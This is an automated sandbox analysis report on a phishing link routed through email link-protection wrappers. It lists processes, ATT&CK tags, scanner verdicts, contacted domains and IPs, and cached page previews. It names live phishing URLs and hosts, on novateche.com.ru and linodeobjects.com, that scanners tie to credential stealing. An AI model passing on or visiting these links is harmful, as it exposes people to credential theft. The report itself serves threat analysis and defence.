Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://shared.outlook.inky.com/link?domain=urldefense.proofpoint.com&t=h.eJxdkE1TgzAYhP-Kw4GTLYSPBjrDaC3Wj0Iram31wiBJkBaSEAKIjv_d0oMHb---u_PszH4rjSiU6ZnyISWvp5p2lAgTTGs85oIxwllO5ThlpdYag3nReKfoyJzFMceMF7juKRZZjodULEseq8jzu3CRRGrq4ebmrZZp8uwXRZuX1yvnHe53oqvWZNTas3iOeEZfSJ6HoSq8rQ2D2x2bbx8tbKysTWv6b19PM74Ck-px9B6t73NUrXYb0WVq6e39SEQ3h9j6cLrFIgLVchM_xLgJpG8G_WTmb5Af0O3nYhuGsAp9uS-NXXVVtdd51Aa6qdZeCLJ2FGV395IHYXcQa6tPno3CYfDztdHnd6_LeW_21cuXo6vYU87PlMOwFsWSiYxICKFhuq6WEZHQA2FCXv5dCUU1o_VpuwS4gLhoMkEWcAyiIxumpgF1ABNTR8DSwJFjO8C23DF0hxo81JxYl6nEKMNdIrEYYIOLBvf__-cXvb2YkA.MEYCIQDlWYmC9YWqLwzGo1_Uz-5wC3tKqjhwYdDjRwRlhUS1MgIhAIacU_ZjLEOwuLoud4iCkwdAfjTkcppBULGpCRVOxW_P"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2292 --field-trial-handle=2248,i,14129833127138606073,14990406527809725278,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: Next
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: Next
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: Next
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: Next
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: Next
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: Next
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: Next

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Deobfuscate/Decode Files or Information	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://shared.outlook.inky.com/link?domain=urldefense.proofpoint.com&t=h.eJxdkE1TgzAYhP-Kw4GTLYSPBjrDaC3Wj0Iram31wiBJkBaSEAKIjv_d0oMHb---u_PszH4rjSiU6ZnyISWvp5p2lAgTTGs85oIxwllO5ThlpdYag3nReKfoyJzFMceMF7juKRZZjodULEseq8jzu3CRRGrq4ebmrZZp8uwXRZuX1yvnHe53oqvWZNTas3iOeEZfSJ6HoSq8rQ2D2x2bbx8tbKysTWv6b19PM74Ck-px9B6t73NUrXYb0WVq6e39SEQ3h9j6cLrFIgLVchM_xLgJpG8G_WTmb5Af0O3nYhuGsAp9uS-NXXVVtdd51Aa6qdZeCLJ2FGV395IHYXcQa6tPno3CYfDztdHnd6_LeW_21cuXo6vYU87PlMOwFsWSiYxICKFhuq6WEZHQA2FCXv5dCUU1o_VpuwS4gLhoMkEWcAyiIxumpgF1ABNTR8DSwJFjO8C23DF0hxo81JxYl6nEKMNdIrEYYIOLBvf__-cXvb2YkA.MEYCIQDlWYmC9YWqLwzGo1_Uz-5wC3tKqjhwYdDjRwRlhUS1MgIhAIacU_ZjLEOwuLoud4iCkwdAfjTkcppBULGpCRVOxW_P	0%	Avira URL Cloud	safe
https://shared.outlook.inky.com/link?domain=urldefense.proofpoint.com&t=h.eJxdkE1TgzAYhP-Kw4GTLYSPBjrDaC3Wj0Iram31wiBJkBaSEAKIjv_d0oMHb---u_PszH4rjSiU6ZnyISWvp5p2lAgTTGs85oIxwllO5ThlpdYag3nReKfoyJzFMceMF7juKRZZjodULEseq8jzu3CRRGrq4ebmrZZp8uwXRZuX1yvnHe53oqvWZNTas3iOeEZfSJ6HoSq8rQ2D2x2bbx8tbKysTWv6b19PM74Ck-px9B6t73NUrXYb0WVq6e39SEQ3h9j6cLrFIgLVchM_xLgJpG8G_WTmb5Af0O3nYhuGsAp9uS-NXXVVtdd51Aa6qdZeCLJ2FGV395IHYXcQa6tPno3CYfDztdHnd6_LeW_21cuXo6vYU87PlMOwFsWSiYxICKFhuq6WEZHQA2FCXv5dCUU1o_VpuwS4gLhoMkEWcAyiIxumpgF1ABNTR8DSwJFjO8C23DF0hxo81JxYl6nEKMNdIrEYYIOLBvf__-cXvb2YkA.MEYCIQDlWYmC9YWqLwzGo1_Uz-5wC3tKqjhwYdDjRwRlhUS1MgIhAIacU_ZjLEOwuLoud4iCkwdAfjTkcppBULGpCRVOxW_P	2%	Virustotal		Browse
https://shared.outlook.inky.com/link?domain=urldefense.proofpoint.com&t=h.eJxdkE1TgzAYhP-Kw4GTLYSPBjrDaC3Wj0Iram31wiBJkBaSEAKIjv_d0oMHb---u_PszH4rjSiU6ZnyISWvp5p2lAgTTGs85oIxwllO5ThlpdYag3nReKfoyJzFMceMF7juKRZZjodULEseq8jzu3CRRGrq4ebmrZZp8uwXRZuX1yvnHe53oqvWZNTas3iOeEZfSJ6HoSq8rQ2D2x2bbx8tbKysTWv6b19PM74Ck-px9B6t73NUrXYb0WVq6e39SEQ3h9j6cLrFIgLVchM_xLgJpG8G_WTmb5Af0O3nYhuGsAp9uS-NXXVVtdd51Aa6qdZeCLJ2FGV395IHYXcQa6tPno3CYfDztdHnd6_LeW_21cuXo6vYU87PlMOwFsWSiYxICKFhuq6WEZHQA2FCXv5dCUU1o_VpuwS4gLhoMkEWcAyiIxumpgF1ABNTR8DSwJFjO8C23DF0hxo81JxYl6nEKMNdIrEYYIOLBvf__-cXvb2YkA.MEYCIQDlWYmC9YWqLwzGo1_Uz-5wC3tKqjhwYdDjRwRlhUS1MgIhAIacU_ZjLEOwuLoud4iCkwdAfjTkcppBULGpCRVOxW_P	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering

Source	Detection	Scanner	Link
analysis-web-prod-960355706.us-east-1.elb.amazonaws.com	0%	Virustotal	Browse
peoplesynergie.com	0%	Virustotal	Browse
bg.microsoft.map.fastly.net	0%	Virustotal	Browse
cdnjs.cloudflare.com	0%	Virustotal	Browse
google.com	0%	Virustotal	Browse
code.jquery.com	1%	Virustotal	Browse
www.google.com	0%	Virustotal	Browse
challenges.cloudflare.com	0%	Virustotal	Browse
novateche.com.ru	0%	Virustotal	Browse
urldefense.proofpoint.com	0%	Virustotal	Browse
documentreceivedvirtually-portal-preview.nl-ams-1.linodeobjects.com	1%	Virustotal	Browse
shared.outlook.inky.com	2%	Virustotal	Browse
urldefense.com	1%	Virustotal	Browse
fp2e7a.wpc.phicdn.net	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://cdn.jsdelivr.net/npm/bootstrap	0%	URL Reputation	safe
https://code.jquery.com/jquery-3.6.0.min.js	0%	URL Reputation	safe
https://code.jquery.com/jquery-3.5.1.slim.min.js	0%	URL Reputation	safe
https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js	0%	URL Reputation	safe
https://novateche.com.ru/#about	0%	Avira URL Cloud	safe
https://cdn.jsdelivr.net/npm/	0%	Avira URL Cloud	safe
https://novateche.com.ru/#contact	0%	Avira URL Cloud	safe
https://peoplesynergie.com/tmp/	0%	Avira URL Cloud	safe
https://novateche.com.ru/#learn-more	0%	Avira URL Cloud	safe
https://challenges.cloudflare.com/turnstile/v0/api.js	0%	Avira URL Cloud	safe
https://cdn.jsdelivr.net/npm/	0%	Virustotal		Browse
https://novateche.com.ru/#faq	0%	Avira URL Cloud	safe
https://novateche.com.ru/#about	1%	Virustotal		Browse
https://peoplesynergie.com/tmp/	0%	Virustotal		Browse
https://novateche.com.ru//	0%	Avira URL Cloud	safe
https://novateche.com.ru/#learn-more	1%	Virustotal		Browse
https://novateche.com.ru/#contact	1%	Virustotal		Browse
https://novateche.com.ru/#terms	0%	Avira URL Cloud	safe
https://novateche.com.ru//	1%	Virustotal		Browse
https://novateche.com.ru/#faq	1%	Virustotal		Browse
https://novateche.com.ru/#modern-supercars	0%	Avira URL Cloud	safe
https://novateche.com.ru/#services	0%	Avira URL Cloud	safe
https://challenges.cloudflare.com/turnstile/v0/api.js	0%	Virustotal		Browse
https://novateche.com.ru/#	0%	Avira URL Cloud	safe
https://novateche.com.ru/#electric-vehicles	0%	Avira URL Cloud	safe
https://novateche.com.ru/#terms	1%	Virustotal		Browse
https://urldefense.proofpoint.com/v2/url?u=https-3A__peoplesynergie.com_tmp_&d=DwMFaQ&c=euGZstcaTDllvimEN8b7jXrwqOf-v5A_CdpgnVfiiMM&r=W57LHXoCWR4e2N4Uv3DZzSApN16qR-bQOJidqNXUrwg&m=jDQrQGk_4h8wFFQ1qKU_P_euLtD3Ly6ADUdDLnWxFWMM7qMDtjm2XqBqvEiQvL03&s=M1gv-QgIJtpLMwkrO4yaT2l8o7xYu0CIYKCy3yqVz80&e=	0%	Avira URL Cloud	safe
https://novateche.com.ru/#privacy	0%	Avira URL Cloud	safe
https://challenges.cloudflare.com/turnstile/v0/b/cc21665cd7b9/api.js	0%	Avira URL Cloud	safe
https://novateche.com.ru/#electric-vehicles	1%	Virustotal		Browse
https://google.com	0%	Avira URL Cloud	safe
https://novateche.com.ru/#	1%	Virustotal		Browse
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js	0%	Avira URL Cloud	safe
https://novateche.com.ru/#services	1%	Virustotal		Browse
https://novateche.com.ru/#privacy	1%	Virustotal		Browse
https://novateche.com.ru/#modern-supercars	1%	Virustotal		Browse
https://challenges.cloudflare.com/turnstile/v0/b/cc21665cd7b9/api.js	0%	Virustotal		Browse
https://novateche.com.ru/#classic-cars	0%	Avira URL Cloud	safe
https://novateche.com.ru/#classic-cars	1%	Virustotal		Browse
https://google.com	0%	Virustotal		Browse
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	0%, Virustotal, Browse	unknown
google.com	172.217.16.206	true	false	0%, Virustotal, Browse	unknown
analysis-web-prod-960355706.us-east-1.elb.amazonaws.com	3.233.34.230	true	false	0%, Virustotal, Browse	unknown
code.jquery.com	151.101.130.137	true	false	1%, Virustotal, Browse	unknown
urldefense.com	52.71.28.102	true	false	1%, Virustotal, Browse	unknown
peoplesynergie.com	103.134.152.12	true	false	0%, Virustotal, Browse	unknown
cdnjs.cloudflare.com	104.17.25.14	true	false	0%, Virustotal, Browse	unknown
challenges.cloudflare.com	104.18.94.41	true	false	0%, Virustotal, Browse	unknown
www.google.com	142.250.184.228	true	false	0%, Virustotal, Browse	unknown
novateche.com.ru	172.67.194.21	true	true	0%, Virustotal, Browse	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	0%, Virustotal, Browse	unknown
shared.outlook.inky.com	unknown	unknown	false	2%, Virustotal, Browse	unknown
urldefense.proofpoint.com	unknown	unknown	false	0%, Virustotal, Browse	unknown
documentreceivedvirtually-portal-preview.nl-ams-1.linodeobjects.com	unknown	unknown	true	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://peoplesynergie.com/tmp/	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://code.jquery.com/jquery-3.6.0.min.js	false	URL Reputation: safe	unknown
https://challenges.cloudflare.com/turnstile/v0/api.js	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://novateche.com.ru//	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://urldefense.proofpoint.com/v2/url?u=https-3A__peoplesynergie.com_tmp_&d=DwMFaQ&c=euGZstcaTDllvimEN8b7jXrwqOf-v5A_CdpgnVfiiMM&r=W57LHXoCWR4e2N4Uv3DZzSApN16qR-bQOJidqNXUrwg&m=jDQrQGk_4h8wFFQ1qKU_P_euLtD3Ly6ADUdDLnWxFWMM7qMDtjm2XqBqvEiQvL03&s=M1gv-QgIJtpLMwkrO4yaT2l8o7xYu0CIYKCy3yqVz80&e=	false	Avira URL Cloud: safe	unknown
https://documentreceivedvirtually-portal-preview.nl-ams-1.linodeobjects.com/index.html#	true		unknown
https://shared.outlook.inky.com/link?domain=urldefense.proofpoint.com&t=h.eJxdkE1TgzAYhP-Kw4GTLYSPBjrDaC3Wj0Iram31wiBJkBaSEAKIjv_d0oMHb---u_PszH4rjSiU6ZnyISWvp5p2lAgTTGs85oIxwllO5ThlpdYag3nReKfoyJzFMceMF7juKRZZjodULEseq8jzu3CRRGrq4ebmrZZp8uwXRZuX1yvnHe53oqvWZNTas3iOeEZfSJ6HoSq8rQ2D2x2bbx8tbKysTWv6b19PM74Ck-px9B6t73NUrXYb0WVq6e39SEQ3h9j6cLrFIgLVchM_xLgJpG8G_WTmb5Af0O3nYhuGsAp9uS-NXXVVtdd51Aa6qdZeCLJ2FGV395IHYXcQa6tPno3CYfDztdHnd6_LeW_21cuXo6vYU87PlMOwFsWSiYxICKFhuq6WEZHQA2FCXv5dCUU1o_VpuwS4gLhoMkEWcAyiIxumpgF1ABNTR8DSwJFjO8C23DF0hxo81JxYl6nEKMNdIrEYYIOLBvf__-cXvb2YkA.MEYCIQDlWYmC9YWqLwzGo1_Uz-5wC3tKqjhwYdDjRwRlhUS1MgIhAIacU_ZjLEOwuLoud4iCkwdAfjTkcppBULGpCRVOxW_P	true		unknown
https://documentreceivedvirtually-portal-preview.nl-ams-1.linodeobjects.com/index.html	true		unknown
https://challenges.cloudflare.com/turnstile/v0/b/cc21665cd7b9/api.js	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://novateche.com.ru/#about	chromecache_51.2.dr	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://cdn.jsdelivr.net/npm/	chromecache_51.2.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://novateche.com.ru/#contact	chromecache_51.2.dr	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://cdn.jsdelivr.net/npm/bootstrap	chromecache_51.2.dr	false	URL Reputation: safe	unknown
https://code.jquery.com/jquery-3.5.1.slim.min.js	chromecache_51.2.dr	false	URL Reputation: safe	unknown
https://novateche.com.ru/#learn-more	chromecache_51.2.dr	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js	chromecache_51.2.dr	false	URL Reputation: safe	unknown
https://novateche.com.ru/#faq	chromecache_51.2.dr	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://novateche.com.ru/#terms	chromecache_51.2.dr	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://novateche.com.ru/#modern-supercars	chromecache_51.2.dr	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://novateche.com.ru/#services	chromecache_51.2.dr	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://novateche.com.ru/#electric-vehicles	chromecache_51.2.dr	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://novateche.com.ru/#	chromecache_51.2.dr	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://novateche.com.ru/#privacy	chromecache_51.2.dr	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://google.com	chromecache_54.2.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://novateche.com.ru/#classic-cars	chromecache_51.2.dr	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.17.24.14	unknown	United States	13335	CLOUDFLARENETUS	false
52.71.28.102	urldefense.com	United States	14618	AMAZON-AESUS	false
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.18.95.41	unknown	United States	13335	CLOUDFLARENETUS	false
172.67.194.21	novateche.com.ru	United States	13335	CLOUDFLARENETUS	true
151.101.130.137	code.jquery.com	United States	54113	FASTLYUS	false
151.101.2.137	unknown	United States	54113	FASTLYUS	false
3.233.34.230	analysis-web-prod-960355706.us-east-1.elb.amazonaws.com	United States	14618	AMAZON-AESUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
103.134.152.12	peoplesynergie.com	Singapore	138608	CLOUDHOST-AS-APCloudHostPteLtdSG	false
142.250.184.228	www.google.com	United States	15169	GOOGLEUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1492616
Start date and time:	2024-08-14 04:13:33 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 33s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://shared.outlook.inky.com/link?domain=urldefense.proofpoint.com&t=h.eJxdkE1TgzAYhP-Kw4GTLYSPBjrDaC3Wj0Iram31wiBJkBaSEAKIjv_d0oMHb---u_PszH4rjSiU6ZnyISWvp5p2lAgTTGs85oIxwllO5ThlpdYag3nReKfoyJzFMceMF7juKRZZjodULEseq8jzu3CRRGrq4ebmrZZp8uwXRZuX1yvnHe53oqvWZNTas3iOeEZfSJ6HoSq8rQ2D2x2bbx8tbKysTWv6b19PM74Ck-px9B6t73NUrXYb0WVq6e39SEQ3h9j6cLrFIgLVchM_xLgJpG8G_WTmb5Af0O3nYhuGsAp9uS-NXXVVtdd51Aa6qdZeCLJ2FGV395IHYXcQa6tPno3CYfDztdHnd6_LeW_21cuXo6vYU87PlMOwFsWSiYxICKFhuq6WEZHQA2FCXv5dCUU1o_VpuwS4gLhoMkEWcAyiIxumpgF1ABNTR8DSwJFjO8C23DF0hxo81JxYl6nEKMNdIrEYYIOLBvf__-cXvb2YkA.MEYCIQDlWYmC9YWqLwzGo1_Uz-5wC3tKqjhwYdDjRwRlhUS1MgIhAIacU_ZjLEOwuLoud4iCkwdAfjTkcppBULGpCRVOxW_P
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal88.phis.win@20/18@28/13
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.212.131, 172.217.18.14, 108.177.15.84, 34.104.35.123, 172.233.33.244, 172.233.33.246, 172.233.33.241, 172.233.33.245, 172.233.33.243, 172.233.33.242, 20.12.23.50, 199.232.214.172, 192.229.221.95, 52.165.164.15, 20.166.126.56, 20.3.187.198, 142.250.186.99
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, nl-ams-1.linodeobjects.com.akadns.net, clientservices.googleapis.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, ocsp.digicert.com, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, update.googleapis.com, clients.l.google.com, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (444), with CRLF line terminators
Category:	dropped
Size (bytes):	6883
Entropy (8bit):	4.688179143262731
Encrypted:	false
SSDEEP:	96:+S2k7pNnl2DTwKzHnCjE51OPASqHUgfYDVajLb:+SNJm/zHYCEZajLb
MD5:	470B47D01D7A19A77E52A7E13DF08B36
SHA1:	889D2C2EDD33815BECFD125A0B2C4E006D03A0E3
SHA-256:	8E8531AB27BAFE0E4BB61625E7E0646D5351791738CFB4834CFFDCBB2D9BD17E
SHA-512:	FB2AE52AAC88FC5C2F01F211229E6C68108CEAABBE3E6458EDEC63082F9E60703FAE5690B2FBF2F2D9F796D4B6BC28EED9EFA9C2BD98E79B22C3FB52ABE4AC3B
Malicious:	false
Reputation:	low
Preview:	<!DOCTYPE html>..<html lang="en">..<head>.. <meta charset="UTF-8">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <title>Convertible Car Society - novateche.com.ru</title>.. <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-EVSTQN3/azprG1Anm3QDgpJLIm9Nao0Yz1ztcQTwFspd3yD65VohhpuuCOmLASjC" crossorigin="anonymous">.. <style>.. body {.. padding-top: 56px;.. background-color: #f8f9fa;.. }.. .hero {.. background: url('https://th.bing.com/th/id/OIP.gxHVj51PdAXHKL_bYtuybwHaEK') no-repeat center center;.. background-size: cover;.. color: white;.. padding: 150px 0;.. text-align: center;.. }.. .content-section {.. padding: 60px 0;.. }.. .footer {.. background: #343a40;.. color: white;.. padding: 20px 0;.. t

Chrome Cache Entry: 52

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	dropped
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Reputation:	low
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 53

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (2834), with CRLF line terminators
Category:	downloaded
Size (bytes):	5971
Entropy (8bit):	5.737622039099273
Encrypted:	false
SSDEEP:	96:1hX4RHjdr6gMjrm7NmA5gdlg2nqCk8fZajlzcv:fIRjd2xrm7NjgA27Epzcv
MD5:	7B7D147A541140652E68B48398BC649C
SHA1:	C0FBD93AC46E2C4DECB9CD43B4A7CFF7E61778AC
SHA-256:	6A5D79788FA75B6E05DAF75D919699E8CE58C9120CF6959191C50CDADBA92885
SHA-512:	FC137DDECCFF2A0BA9CAE40E38A72C7AECB150800E683DF9E75D633D79BF4EA5453C3BFD68AC833DF8627BA19574F6DC07F0BAF7EB1F957B729153ED2F95FD73
Malicious:	false
Reputation:	low
URL:	https://documentreceivedvirtually-portal-preview.nl-ams-1.linodeobjects.com/index.html
Preview:	<html>.. <head>.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <meta name="robots" content="noindex, nofollow">.. <script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js"></script>.. <script src="https://challenges.cloudflare.com/turnstile/v0/api.js"></script>.. <style>body, html {height: 100%;margin: 0;display: flex;align-items: center;justify-content: center;}@keyframes bounce {0%, 100%, 12.5%, 32.5%, 76.1% {transform: translateY(0);}22.5%, 86% {transform: translateY(7px);}}#packager {height: 179px;width: 130px;overflow: hidden;margin-top: -59px;margin-left: 25px;}@keyframes shadow-fade {0%, 100%, 21.2%, 80% {opacity: 0;}47%, 70% {opacity: 1;}}#abductor {width: 130px;margin-top: 179px;}#machinate {width: 130px;height: 71px;border-radius: 0 0 7px 7px;overflow: hidden;margin-top: -41px;}#machinate>.package {width: 287px;height: 71px;background: #27a0e0;transform: translate(-153px, -70px) rotate(28deg);}#machinate>.sabre {wid

Chrome Cache Entry: 54

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	881
Entropy (8bit):	4.902530702688919
Encrypted:	false
SSDEEP:	12:HXYZn541KDLkodKIxH7iIa2pvHMjTxH71Sclw4tUBYP20sqduIrNKWnxaqYb:HXEn48QICSclw4eBcpAOKWcqYb
MD5:	9A5CCADC3147713E9705999A83A2D0F8
SHA1:	ED4687A8CE76900D95C965790291712948C096C7
SHA-256:	CD478EA1B99D5C5A0D40896651EB168903A378A589AE9BDCCFF7082A43BE5116
